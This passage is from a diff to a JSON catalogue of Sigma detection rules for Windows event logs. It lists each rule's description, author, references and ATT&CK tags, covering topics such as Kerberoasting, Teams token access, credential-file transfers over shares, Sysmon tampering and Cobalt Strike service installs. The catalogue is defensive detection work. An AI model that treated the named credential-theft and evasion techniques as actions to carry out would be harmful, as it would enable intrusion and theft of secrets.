+ "meta": { + "author": "Nasreddine Bencherchali (rule), Elastic (idea)", + "creation_date": "2022/10/17", + "falsepositive": [ + "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" + ], + "filename": "win_security_susp_possible_shadow_credentials_added.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", + "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", + "https://twitter.com/SBousseaden/status/1581300963650187264?", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556" + ] + }, + "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", + "value": "Possible Shadow Credentials Added" + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_psexec.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", + "value": "Suspicious PsExec Execution" + }, + { + "description": "Detects known sensitive file extensions accessed on a network share", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "filename": "win_security_susp_raccess_sensitive_fext.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection", + "attack.t1039" + ] + }, + "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", + "value": "Suspicious Access to Sensitive File Extensions" + }, + { + "description": "Detects service ticket requests using RC4 encryption type", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/06", + "falsepositive": [ + "Service accounts used on legacy systems (e.g. NetApp)", + "Windows Domains with DFL 2003 and legacy systems" + ], + "filename": "win_security_susp_rc4_kerberos.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=3458", + "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", + "value": "Suspicious Kerberos RC4 Ticket Encryption" + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", + "meta": { + "author": "@SBousseaden, Florian Roth", + "creation_date": "2019/11/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_rottenpotato.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1195284233729777665", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1557.001" + ] + }, + "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", + "value": "RottenPotato Like Attack Pattern" + }, + { + "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", + "meta": { + "author": "Dimitrios Slamaris", + "creation_date": "2017/06/09", + "falsepositive": "No established falsepositives", + "filename": "win_security_susp_samr_pwset.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ] + }, + "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", + "value": "Possible Remote Password Change Through SAMR" + }, + { + "description": "Detects renaming of file while deletion with SDelete tool.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/14", + "falsepositive": [ + "Legitimate usage of SDelete" + ], + "filename": "win_security_susp_sdelete.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.defense_evasion", + "attack.t1070.004", + "attack.t1027.005", + "attack.t1485", + "attack.t1553.002", + "attack.s0195" + ] + }, + "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", + "value": "Secure Deletion with SDelete" + }, + { + "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", + "meta": { + "author": "@neu5ron", + "creation_date": "2019/02/05", + "falsepositive": [ + "HyperV or other virtualization technologies with binary not listed in filter portion of detection" + ], + "filename": "win_security_susp_time_modification.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", + "Live environment caused by malware", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ] + }, + "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", + "value": "Unauthorized System Time Modification" + }, + { + "description": "Detection of logins performed with WMI", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/04", + "falsepositive": [ + "Monitoring tools", + "Legitimate system administration" + ], + "filename": "win_security_susp_wmi_login.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", + "value": "Login with WMI" + }, + { + "description": "Detects remote service activity via remote access to the svcctl named pipe", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_svcctl_remote_service.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "attack.t1021.002" + ] + }, + "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", + "value": "Remote Service Activity via SVCCTL Named Pipe" + }, + { + "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_syskey_registry_access.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ] + }, + "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", + "value": "SysKey Registry Keys Access" + }, + { + "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/07/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_sysmon_channel_reference_deletion.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Flangvik/status/1283054508084473861", + "https://twitter.com/SecurityJosh/status/1283027365770276866", + "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", + "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", + "value": "Sysmon Channel Reference Deletion" + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "meta": { + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "filename": "win_security_tap_driver_installation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ] + }, + "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", + "value": "Tap Driver Installation" + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "meta": { + "author": "@SerkinValery", + "creation_date": "2022/09/16", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_teams_suspicious_objectaccess.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ] + }, + "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", + "value": "Suspicious Teams Application Related ObjectAcess Event" + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ] + }, + "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", + "value": "Transferring Files with Credential Data via Network Shares" + }, + { + "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/14", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "win_security_user_added_to_local_administrators.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078", + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", + "value": "User Added to Local Administrators" + }, + { + "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", + "meta": { + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ] + }, + "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", + "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'" + }, + { + "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", + "meta": { + "author": "Patrick Bareiss", + "creation_date": "2019/04/18", + "falsepositive": [ + "Domain Controller Logs", + "Local accounts managed by privileged account management tools" + ], + "filename": "win_security_user_creation.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", + "value": "Local User Creation" + }, + { + "description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools.\nSo you have to work with a whitelist to find the bad stuff.\n", + "meta": { + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "creation_date": "2019/04/08", + "falsepositive": [ + "Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers." + ], + "filename": "win_security_user_driver_loaded.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "f63508a0-c809-4435-b3be-ed819394d612", + "value": "Suspicious Driver Loaded By User" + }, + { + "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", + "meta": { + "author": "frack113", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_user_logoff.yml", + "level": "informational", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" + ], + "tags": "No established tags" + }, + "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", + "value": "User Logoff Event" + }, + { + "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "creation_date": "2020/10/20", + "falsepositive": [ + "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe." + ], + "filename": "win_security_vssaudit_secevent_source_registration.yml", + "level": "informational", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", + "value": "VSSAudit Security Event Source Registration" + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c", + "value": "T1047 Wmiprvse Wbemcomn DLL Hijack" + }, + { + "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", + "meta": { + "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", + "creation_date": "2017/08/22", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "filename": "win_security_wmi_persistence.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ] + }, + "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", + "value": "WMI Persistence" + }, + { + "description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2022/08/02", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_mitigations_defender_load_unsigned_dll.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "0b0ea3cc-99c8-4730-9c53-45deee2a4c86", + "value": "Microsoft Defender Blocked from Loading Unsigned DLL" + }, + { + "description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_mitigations_unsigned_dll_from_susp_location.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "8289bf8c-4aca-4f5a-9db3-dc3d7afe5c10", + "value": "Unsigned Binary Loaded From Suspicious Location" + }, + { + "description": "Rule to detect the Hybrid Connection Manager service running on an endpoint.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2021/04/12", + "falsepositive": [ + "Legitimate use of Hybrid Connection Manager via Azure function apps." + ], + "filename": "win_hybridconnectionmgr_svc_running.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1554" + ] + }, + "uuid": "b55d23e5-6821-44ff-8a6e-67218891e49f", + "value": "HybridConnectionManager Service Running" + }, + { + "description": "Detects suspicious application installed by looking at the added shortcut to the app resolver cache", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Packages or applications being legitimately used by users or administrators" + ], + "filename": "win_shell_core_susp_packages_installed.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "83c161b6-ca67-4f33-8ad0-644a0737cf07", + "value": "Suspicious Application Installed" + }, + { + "description": "Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service", + "meta": { + "author": "Florian Roth, KevTheHermit, fuzzyf10w", + "creation_date": "2021/06/30", + "falsepositive": [ + "Account fallback reasons (after failed login with specific account)" + ], + "filename": "win_susp_failed_guest_logon.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/KevTheHermit/status/1410203844064301056", + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ] + }, + "uuid": "71886b70-d7b4-4dbf-acce-87d2ca135262", + "value": "Suspicious Rejected SMB Guest Logon From IP" + }, + { + "description": "Detects repeated failed (outgoing) attempts to mount a hidden share", + "meta": { + "author": "Fabian Franz", + "creation_date": "2022/08/30", + "falsepositive": [ + "Legitimate administrative activity", + "Faulty scripts" + ], + "filename": "win_susp_failed_hidden_share_mount.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/moti_b/status/1032645458634653697", + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" + ], + "tags": [ + "attack.t1021.002", + "attack.lateral_movement" + ] + }, + "uuid": "1c3be8c5-6171-41d3-b792-cab6f717fcdb", + "value": "Failed Mounting of Hidden Share" + }, + { + "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/11", + "falsepositive": [ + "Legitimate usage of the anydesk tool" + ], + "filename": "win_system_anydesk_service_installation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", + "value": "Anydesk Remote Access Software Service Installation" + }, + { + "description": "Detects application popup reporting a failure of the Sysmon service", + "meta": { + "author": "Tim Shelton", + "creation_date": "2022/04/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_application_sysmon_crash.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_application_sysmon_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "4d7f1827-1637-4def-8d8a-fd254f9454df", + "value": "Sysmon Crash" + }, + { + "description": "This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/31", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_apt_carbonpaper_turla.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_carbonpaper_turla.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ] + }, + "uuid": "1df8b3da-b0ac-4d8a-b7c7-6cb7c24160e4", + "value": "Turla Service Install" + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "meta": { + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2018/03/23", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_apt_chafer_mar18_system.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ] + }, + "uuid": "53ba33fd-3a50-4468-a5ef-c583635cfa92", + "value": "Chafer Activity" + }, + { + "description": "This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_system_apt_stonedrill.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0064", + "attack.t1543.003" + ] + }, + "uuid": "9e987c6c-4c1e-40d8-bd85-dd26fba8fdd6", + "value": "StoneDrill Service Install" + }, + { + "description": "This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/11/23", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_system_apt_turla_service_png.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_turla_service_png.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0010", + "attack.t1543.003" + ] + }, + "uuid": "1228f8e2-7e79-4dea-b0ad-c91f1d5016c1", + "value": "Turla PNG Dropper Service" + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", + "meta": { + "author": "Florian Roth, Wojciech Lesicki", + "creation_date": "2021/05/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_system_cobaltstrike_service_installs.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/webcasts/119395", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", + "value": "CobaltStrike Service Installations" + }, + { + "description": "Detects the \"Windows Defender Threat Protection\" service has been disabled", + "meta": { + "author": "Ján Trenčanský, frack113", + "creation_date": "2020/07/28", + "falsepositive": [ + "Administrator actions", + "Auto updates of Windows Defender causes restarts" + ], + "filename": "win_system_defender_disabled.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" + ], + "tags": [ + 